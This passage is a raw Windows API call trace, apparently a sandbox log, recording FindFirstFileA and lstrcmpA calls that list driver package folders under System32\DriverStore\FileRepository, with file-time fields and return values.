lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hdaudbus.inf_amd64_neutral_4b99fffee061ff26\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3875ceff, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bbbb35f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bbbb35f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.395] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.396] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hdaudio.inf_amd64_neutral_ce7bc199c85ae0a0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36dc624f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b31a38f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b31a38f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.397] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.397] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hdaudss.inf_amd64_neutral_330a593eb888237c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e50b241, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6091ffb2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6091ffb2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.398] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.399] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hidbth.inf_amd64_neutral_8a1323fc68ad84af\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d865d49, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x607a31ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x607a31ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.400] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.401] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hiddigi.inf_amd64_neutral_12aaf5742a9969da\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43372771, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6200939c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6200939c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.401] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.402] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hidir.inf_amd64_neutral_5b48c4b1b49ca54a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d604745, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6077d08f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6077d08f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.403] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.403] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hidirkbd.inf_amd64_neutral_2b561a02e977e2e3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d781508, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6077d08f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6077d08f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.404] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.405] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hidserv.inf_amd64_neutral_f2223e39f37c69f3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x432da1f0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61fe323c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61fe323c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.405] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.406] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hpoa1nd.inf_amd64_neutral_cf39c48277e038de\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b549889, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60163824, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60163824, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.407] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.407] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hpoa1sd.inf_amd64_neutral_caaa16c52c48f8ac\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b5bbca9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60189984, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60189984, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.408] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.409] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hpoa1so.inf_amd64_neutral_4f1a3f1015001339\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b65422a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x601d5c44, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x601d5c44, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.409] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.429] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hpoa1ss.inf_amd64_neutral_8cae09a2238d64e0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b6c664b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x601fbda5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x601fbda5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.430] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.432] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hpsamd.inf_amd64_neutral_84ae149ecc9f8033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3980691d, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bf011a5, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bf011a5, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.433] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.434] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\iastorv.inf_amd64_neutral_668286aa35d55928\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x394e6c37, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3be8ed84, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3be8ed84, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.434] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.435] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\igdlh.inf_amd64_neutral_54a12b57f547d08e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f35365b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60d4a63a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60d4a63a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.439] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.444] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\iirsp.inf_amd64_neutral_25c14d33af7f54f1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x425504b7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61dcdef8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61dcdef8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.445] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.450] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\iirsp2.inf_amd64_neutral_9ed65fe0bab06b1b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x425e8a38, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61df4058, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61df4058, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.451] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.451] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\image.inf_amd64_neutral_4a983035eaabe2f4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ed860b0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60b5b456, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60b5b456, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.452] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.453] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\input.inf_amd64_neutral_8693053514b10ee9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3904a18f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x83f9555a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x3bcc5d01, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.455] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.458] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ipmidrv.inf_amd64_neutral_1cb648411f252d13\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a45fb54, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c35198d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c35198d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.459] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.459] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\iscsi.inf_amd64_neutral_2ef24e9270d8b2a9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a37b312, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c32b82d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c32b82d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.460] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.461] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\keyboard.inf_amd64_neutral_0684fdc43059f486\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38f1968d, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bc538e0, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bc538e0, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.463] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.467] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ks.inf_amd64_neutral_2b583ce4a6a029a1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39d0983c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f745a91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f745a91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.467] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.468] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\kscaptur.inf_amd64_neutral_6cb3fb6811a3f83d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e720584, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60a76c14, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60a76c14, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.469] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.469] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ksfilter.inf_amd64_neutral_86311fdf78a07678\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e7b8b05, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60a76c14, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60a76c14, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.470] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.470] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\lsi_fc.inf_amd64_neutral_a7088f3644ca646a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41838b9f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x617683cc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x617683cc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.471] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.472] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\lsi_sas.inf_amd64_neutral_a4d6780f72cbd5b4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418f7280, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61826aae, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61826aae, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.472] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.473] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\lsi_sas2.inf_amd64_neutral_e12a5c4cfbe49204\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4198f801, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6190b2ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6190b2ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.475] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.476] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\lsi_scsi.inf_amd64_neutral_cfbbf0b0b66ba280\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41a27d82, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x619efb31, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x619efb31, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.477] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.477] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\machine.inf_amd64_neutral_a2f120466549d68b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38b87586, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x45ea362b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x45ea362b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.481] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.484] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mchgr.inf_amd64_neutral_407146dba80d1566\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a1d83ef, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c2932ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c2932ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.489] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.494] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mcx2.inf_amd64_neutral_8cf9cade8f7bba56\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e8e9608, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60ac2ed5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60ac2ed5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.495] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.495] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdm3com.inf_amd64_neutral_11abcf129a29fb9f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x491c4fdf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66e96a2d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66e96a2d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.496] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.497] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdm5674a.inf_amd64_neutral_46f893a4f998bb46\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492a9820, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6711e191, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6711e191, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.497] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.498] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmadc.inf_amd64_neutral_62d6e6995428f9d0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4938e062, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6711e191, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6711e191, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.498] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.499] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmagm64.inf_amd64_neutral_ef322a8cc2738a9b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5023e02e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6bf5f562, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6bf5f562, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.501] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.502] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmags64.inf_amd64_neutral_e68956e24e287714\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50394c90, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6bfab822, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6bfab822, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.503] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.503] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmairte.inf_amd64_neutral_0feacd08cb9c7fe3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x494265e3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x671442f2, ftLastAccessTime.dwHighDateTime=0x1ca0444, 